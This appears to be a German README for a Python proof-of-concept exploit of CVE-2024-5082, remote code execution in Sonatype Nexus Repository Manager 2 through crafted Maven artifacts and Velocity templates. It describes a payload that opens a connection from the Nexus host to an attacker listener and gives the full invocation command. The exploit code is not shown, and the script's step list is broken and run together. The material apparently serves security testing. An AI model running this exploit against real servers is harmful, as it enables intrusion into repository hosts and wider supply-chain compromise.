
Proof-of-Concept-Exploit für CVE-2024-5082, eine Remote-Codeausführungsschwachstelle in Sonatype Nexus Repository Manager 2 über manipulierte Maven-Artefakte und Velocity-Template-Verarbeitung.
Dieses Repository enthält einen Python Proof of Concept für CVE-2024-5082, eine Schwachstelle zur Remote-Code-Ausführung in Sonatype Nexus Repository Manager 2.
Die Schwachstelle erlaubt einem Benutzer mit ausreichenden Berechtigungen, ein speziell präpariertes Maven-Artefakt zu veröffentlichen und es für die Verarbeitung durch den Velocity-Content-Generator zu markieren. Wenn das Artefakt abgerufen wird, wird die eingebettete Velocity-Vorlage von Nexus ausgewertet und kann einen Befehl im Sicherheitskontext der Nexus-JVM ausführen.
Laut Sonatype:
Der Befehl wird auf dem Nexus-Repository-Host ausgeführt.
Das Herunterladen des betroffenen Artefakts von einem Build-Server, Anwendungsserver oder Entwickler-Arbeitsplatz führt für sich genommen nicht zur Ausführung des eingebetteten Befehls auf dem konsumierenden System. Eine Kompromittierung eines Repository-Managers kann jedoch ein breiteres Lieferkettenrisiko schaffen, falls ein Angreifer später vertrauenswürdige Artefakte, Build-Eingaben, Anmeldeinformationen oder die Repository-Konfiguration modifiziert.
Das Skript:
maven-metadata.xml-Datei in ein ausgewähltes gehostetes Repository hoch.velocity gesetzt wird.Die bereitgestellte Nutzlast erstellt eine ausgehende TCP-Verbindung vom Nexus-Host zur konfigurierten Listener-Adresse.
Das aktuelle Skript verwendet HTTP-Basisauthentifizierung und erfordert:
python3 cve_2024_5082.py \\
--base-url https://nexus.example.test/nexus \\
--repository security-test-snapshots \\
--username test-user \\
--password 'REDACTED' \\
--lhost LISTENER_IP \\
--lport 8000